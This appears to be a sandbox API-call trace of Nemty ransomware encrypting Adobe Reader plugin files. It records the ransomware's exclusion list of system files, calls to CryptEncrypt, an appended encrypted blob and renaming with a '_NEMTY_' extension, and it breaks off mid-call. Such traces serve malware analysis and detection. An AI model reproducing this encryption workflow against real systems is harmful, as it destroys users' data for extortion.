[0192.473] Sleep (dwMilliseconds=0x5) [0192.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2660aad0, dwHighDateTime=0x1d561e8)) [0192.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2660aad0, dwHighDateTime=0x1d561e8)) [0192.486] GetLastError () returned 0xb7 [0192.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.486] GetLastError () returned 0xb7 [0192.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.487] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.487] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="F7r4n8WCD92qr6kLbx2B7VrOm5XfYDpOWltWqPD/9slumTAKRsQp17C2Larymuk9\r\nN/IdS6PWlzx0F15vVvpQF2WtvnToea24oM+xzSWKEBo4StnzoeLLCm8fvfCekud6\r\nmD1ox5kH6+IQb4gsgxshB7YGH4BFcyUAVRjybIVPaoILQZL/TOGOTUBy0Kusf3yn\r\nZKStYitpPZ2P04qz+BEEo1PTGrUfe8/lss4kW0BHIx+qsdZeU+quCUJCL22zY/Qo\r\n1/Ey+G7lFL73kVj7w0kqK0VpNH4aLAhAu6omZVl7Dl4figFdyAWoP0DziTYLtBUo\r\n8bJnqF1okObEYDtHnZz1eg==\r\n", pcchString=0x653e29c) returned 1 [0192.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\Flash.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\flash.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.487] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.487] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.487] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.489] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.489] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.489] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.489] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.489] CloseHandle (hObject=0x2f0) returned 1 [0192.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\Flash.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\flash.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\Flash.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\flash.tur._nemty_kgobjgd_")) returned 1 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.491] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.TUR", cAlternateFileName="")) returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2=".") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="..") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="...") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="windows") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="$RECYCLE.BIN") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="rsa") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="NTDETECT.COM") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="ntldr") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="MSDOS.SYS") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="IO.SYS") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="boot.ini") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="boot.ini") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="ntuser.dat") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="desktop.ini") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="CONFIG.SYS") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="RECYCLER") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="BOOTSECT.BAK") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="bootmgr") returned 1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="programdata") returned -1 [0192.491] lstrcmpiW (lpString1="MCIMPP.TUR", lpString2="appdata") returned 1 [0192.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.TUR", lpUsedDefaultChar=0x0) returned 10 [0192.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.TUR", lpUsedDefaultChar=0x0) returned 10 [0192.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.TUR", lpUsedDefaultChar=0x0) returned 10 [0192.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.TUR", lpUsedDefaultChar=0x0) returned 10 [0192.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.492] Sleep (dwMilliseconds=0x5) [0192.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26630c30, dwHighDateTime=0x1d561e8)) [0192.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26630c30, dwHighDateTime=0x1d561e8)) [0192.502] GetLastError () returned 0x0 [0192.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.502] GetLastError () returned 0x0 [0192.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.502] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.502] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.503] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.503] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="P2vnhRjBpvu/96/yTkeH+wPEyViU3rY4HYbMg0GaXfNRfQ/aLFEF5Z8ZGU3KypxT\r\n1b+hJu/Zuo86iLR0tiPwQc/GHnhLIUhnk2zQhmJdv8qGyO11uV3+3Orot5gzmYGs\r\nAkx+/BZc6gUH9n4qaGJ9Jifr1LslpnBOCRWvrx0iuMfujw80yWkrKxdsgz4/hGMM\r\n17g3hmXw7aTtbOU03y4JGWoc64FGwm8fZlx0sc/9U/KTc1X6eru4dn19Pp4IiLJl\r\n/VvD9I6Tq64MaLMMsJrzhO4E2StJ9c7hlXjxsYI5je4IIkdssO6JifGsfIBp76l6\r\nvxtmIK5jbGkoIrqmVVfNrA==\r\n", pcchString=0x653e29c) returned 1 [0192.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\MCIMPP.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\mcimpp.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.503] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=7680) returned 1 [0192.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0192.503] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.503] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1e00, lpOverlapped=0x0) returned 1 [0192.505] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.505] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1e00, lpOverlapped=0x0) returned 1 [0192.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.506] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0192.506] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.506] CloseHandle (hObject=0x2f0) returned 1 [0192.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.506] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\MCIMPP.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\mcimpp.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\MCIMPP.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\mcimpp.tur._nemty_kgobjgd_")) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.507] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.TUR", cAlternateFileName="QUICKT~1.TUR")) returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2=".") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="..") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="...") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="windows") returned -1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="$RECYCLE.BIN") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="rsa") returned -1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="NTDETECT.COM") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="ntldr") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="MSDOS.SYS") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="IO.SYS") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="boot.ini") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="boot.ini") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="ntuser.dat") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="desktop.ini") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="CONFIG.SYS") returned 1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="RECYCLER") returned -1 [0192.507] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="BOOTSECT.BAK") returned 1 [0192.508] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="bootmgr") returned 1 [0192.508] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="programdata") returned 1 [0192.508] lstrcmpiW (lpString1="QuickTime.TUR", lpString2="appdata") returned 1 [0192.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.TUR", lpUsedDefaultChar=0x0) returned 13 [0192.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.TUR", lpUsedDefaultChar=0x0) returned 13 [0192.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, 